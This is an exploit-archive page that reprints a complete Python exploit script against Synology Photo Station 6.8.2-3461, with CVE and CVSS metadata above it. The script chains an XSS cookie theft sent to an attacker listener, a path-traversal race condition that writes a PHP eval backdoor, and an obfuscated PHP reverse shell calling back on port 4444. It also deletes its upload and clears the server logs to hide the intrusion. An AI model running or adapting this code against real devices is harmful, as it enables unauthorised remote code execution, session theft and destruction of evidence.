Synology Photo Station 6.8.2-3461 SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code
CVE
Category
Price
Severity
CVE-2021-25326
CWE-362
$10,000
High
Author
Risk
Exploitation Type
Date
Asaf Peleg
High
Remote
2018-01-16
CPE
cpe:cpe:/a:synology:photo_station:6.8.2.3461
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018010154 Below is a copy:
Synology Photo Station 6.8.2-3461 SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution #!/usr/local/bin/python
"""
Synology Photo Station <= 6.8.2-3461 (latest) SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability
Found by: mr_me
Tested: 6.8.2-3461 (latest at the time)
# Summary:
==========
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Synology Photo Station. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the SYNOPHOTO_Flickr_MultiUpload function. When parsing the prog_id parameter, the process does not properly validate a user-supplied string before using it to execute a call to file_put_contents. An attacker can leverage this vulnerability to execute code under the context of the PhotoStation user.
# Example:
==========
saturn:synology mr_me$ ./sinology.py 192.168.100.9 en0
Synology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability
mr_me
(+) waiting for the admin...
(+) stolen: qt4obchbqfss2ap9ct9nb1i534
(+) updated the settings!
(+) wrote php code!
(+) attempting race condition...
(+) won the race!
(+) rce is proven!
(+) deleted the image and scrubbed the logs!
(+) starting handler on port 4444
(+) connection from 192.168.100.9
(+) pop thy shell!
id
uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
"""
import sys
import socket
import requests
import telnetlib
from threading import Thread
from base64 import b64encode as b64e
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
try:
import netifaces as ni
except:
print "(-) try 'pip install netifaces'"
sys.exit(1)
# haven't pwned yet
pwned = False
class xss(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
global s
# incase the referer isn't set, its coming from someone else
try:
referer = self.headers.get('Referer')
except:
referer = ""
# of course this isn't bullet proof, but its enough for a poc
if t in referer:
if "PHPSESSID" in self.path:
s = self.path.split("=")[1]
print "(+) stolen: %s" % s
pwned = True
self.send_response(200)
self.end_headers()
return
def _build_bd(raw=False):
php = "<?php file_put_contents('si.php','<?php eval(base64_decode($_SERVER[HTTP_SIN]));');die('done'); ?>.gif"
if raw == True:
return php
return "photo_2f_%s" % (php.encode("hex"))
def we_can_set_settings(target, session):
uri = "http://%s/photo/admin/share_setting.php" % target
d = {
"action" : "set_setting",
"social_flickr" : "on",
"share_upload_orig" : "on"
}
c = { "PHPSESSID" : session }
r = requests.post(uri, data=d, cookies=c).json()
if "success" in r:
if r["success"] == True:
return True
return False
def we_can_upload(target, session):
uri = "http://%s/photo/webapi/file.php" % (target)
p = { "SynoToken" : session }
c = { "PHPSESSID" : session }
# valid gif, important
gif = "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00"
gif += "\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c"
gif += "\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02"
f = { "original": ("si.gif", gif) }
d = {
"api": "SYNO.PhotoStation.File",
"method" : "uploadphoto",
"version" : 1,
"dest_folder_path": "",
"duplicate" : "rename",
"mtime": "1513540164787",
"filename" : _build_bd(True)
}
r = requests.post(uri, params=p, files=f, cookies=c, data=d).json()
if "success" in r:
if r["success"] == True:
return True
return False
def race(target):
r = ""
while("done" not in r):
r = requests.get("http://%s/photo/pwn.php" % target).text
return True
def we_won_race(target, session, racing_thread):
while(racing_thread.isAlive()):
uri = "http://%s/photo/SocialNetwork/flickr.php" % target
d = {
"prog_id" : "../../volume1/@appstore/PhotoStation/photo/pwn.php",
"action" : "multi_upload",
"token" : 1,
"secret" : "",
"photoList" : _build_bd()
}
c = { "PHPSESSID": session }
requests.post(uri, cookies=c, data=d)
return True
def build_php_code():
phpkode = ("""
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
phpkode += ("""$dis=@ini_get('disable_functions');""")
phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
phpkode += ("""$nofuncs='no exec functions'; """)
phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port))
phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (cb_host, cb_port))
phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
phpkode += ("""}@socket_close($s);} """)
return phpkode
def exec_code(target):
handlerthr = Thread(target=handler, args=(cb_port,))
handlerthr.start()
we_can_exec_php(target, b64e(build_php_code()))
def handler(lport):
print "(+) starting handler on port %d" % lport
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print "(+) connection from %s" % addr[0]
t.sock = conn
print "(+) pop thy shell!"
t.interact()
def we_can_exec_php(target, php):
h = { "SIN" : php }
r = requests.get("http://%s/photo/si.php" % target, headers=h)
if r.text == "pwn":
return True
return False
def we_can_clean_up(target, session):
uri = "http://%s/photo/webapi/photo.php" % target
d = {
"api": "SYNO.PhotoStation.Photo",
"method" : "delete",
"version" : 1,
"id" : _build_bd()
}
c = { "PHPSESSID" : session }
h = { "X-SYNO-TOKEN" : session }
r = requests.post(uri, cookies=c, data=d, headers=h).json()
if "success" in r:
if r["success"] == True:
return True
return False
def banner():
return """\n\tSynology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability\n\tmr_me\n"""
def do_xss(target, ip):
j = "\"><img src=x onerror=this.src=\"http://%s:9090/?\"+document.cookie>" % ip
d = {
"api" : "SYNO.PhotoStation.Auth",
"method" : "login",
"version" : 1,
"username" : j,
"password" : "WAT",
"enable_syno_token" : "true"
}
r = requests.post("http://%s/photo/webapi/auth.php" % target, data=d).json()
def we_can_clear_logs(target, session):
c = { "PHPSESSID" : session }
p = { "SynoToken" : session }
d = {
"api": "SYNO.PhotoStation.PhotoLog",
"method" : "clear",
"version" : 1,
}
r = requests.post("http://%s/photo/webapi/log.php" % target, data=d, params=p, cookies=c).json()
if "success" in r:
if r["success"] == True:
return True
return False
def start_pain_train(t, s):
if we_can_set_settings(t, s):
print "(+) updated the settings!"
if we_can_upload(t, s):
print "(+) wrote php code!"
print "(+) attempting race condition..."
r = Thread(target=race, args=(t,))
r.start()
if we_won_race(t, s, r):
print "(+) won the race!"
if we_can_exec_php(t, b64e('`rm pwn.php`;echo "pwn";')):
print "(+) rce is proven!"
if we_can_clean_up(t, s) and we_can_clear_logs(t, s):
print "(+) deleted the image and scrubbed the logs!"
exec_code(t)
def keep_running():
if pwned == True:
return False
return True
def main():
print banner()
global cb_host, cb_port, s, t
if len(sys.argv) != 3:
print "(+) usage: %s <target> <interface>" % sys.argv[0]
print "(+) eg: %s 192.168.100.9 en0" % sys.argv[0]
sys.exit(1)
s = ""
t = sys.argv[1]
cb_port = 4444
try:
cb_host = ni.ifaddresses(sys.argv[2])[2][0]['addr']
except:
print "(-) no ip address associated with that interface!"
sys.exit(1)
do_xss(t, cb_host)
try:
server = HTTPServer(('0.0.0.0', 9090), xss)
print '(+) waiting for the admin...'
while keep_running():
server.handle_request()
except KeyboardInterrupt:
print '(+) shutting down the web server'
server.socket.close()
if s != "":
start_pain_train(t, s)
if __name__ == "__main__":
main()
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum